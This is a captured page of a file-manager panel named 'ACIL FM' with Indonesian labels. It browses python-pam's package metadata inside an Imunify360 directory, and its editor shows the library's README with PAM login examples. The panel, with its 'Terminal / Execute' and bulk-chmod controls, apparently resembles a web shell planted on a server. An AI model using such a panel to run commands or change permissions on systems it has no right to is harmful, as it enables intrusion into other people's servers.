ACIL FM
Dark
Refresh
Current DIR:
/opt/imunify360/venv/lib/python3.11/site-packages/python_pam-1.8.4.dist-info
/
opt
imunify360
venv
lib
python3.11
site-packages
python_pam-1.8.4.dist-info
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
DESCRIPTION.rst
1.06 MB
chmod
View
DL
Edit
Rename
Delete
INSTALLER
4 B
chmod
View
DL
Edit
Rename
Delete
METADATA
2.08 MB
chmod
View
DL
Edit
Rename
Delete
metadata.json
1.12 MB
chmod
View
DL
Edit
Rename
Delete
RECORD
793 B
chmod
View
DL
Edit
Rename
Delete
REQUESTED
0 B
chmod
View
DL
Edit
Rename
Delete
top_level.txt
4 B
chmod
View
DL
Edit
Rename
Delete
WHEEL
110 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/imunify360/venv/lib/python3.11/site-packages/python_pam-1.8.4.dist-info/DESCRIPTION.rst
python-pam ========== Python pam module supporting py3 (and py2) Commandline example: ``` [david@Scott python-pam]$ python pam.py Username: david Password: 0 Success [david@Scott python-pam]$ python2 pam.py Username: david Password: 0 Success ``` Inline examples: ``` [david@Scott python-pam]$ python Python 3.4.1 (default, May 19 2014, 17:23:49) [GCC 4.9.0 20140507 (prerelease)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import pam >>> p = pam.pam() >>> p.authenticate('david', 'correctpassword') True >>> p.authenticate('david', 'badpassword') False >>> p.authenticate('david', 'correctpassword', service='login') True >>> p.authenticate('david', 'correctpassword', service='unknownservice') False >>> p.authenticate('david', 'correctpassword', service='login', resetcreds=True) True >>> p.authenticate('david', 'correctpassword', encoding='latin-1') True >>> print('{} {}'.format(p.code, p.reason)) 0 Success >>> p.authenticate('david', 'badpassword') False >>> print('{} {}'.format(p.code, p.reason)) 7 Authentication failure >>> ```
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply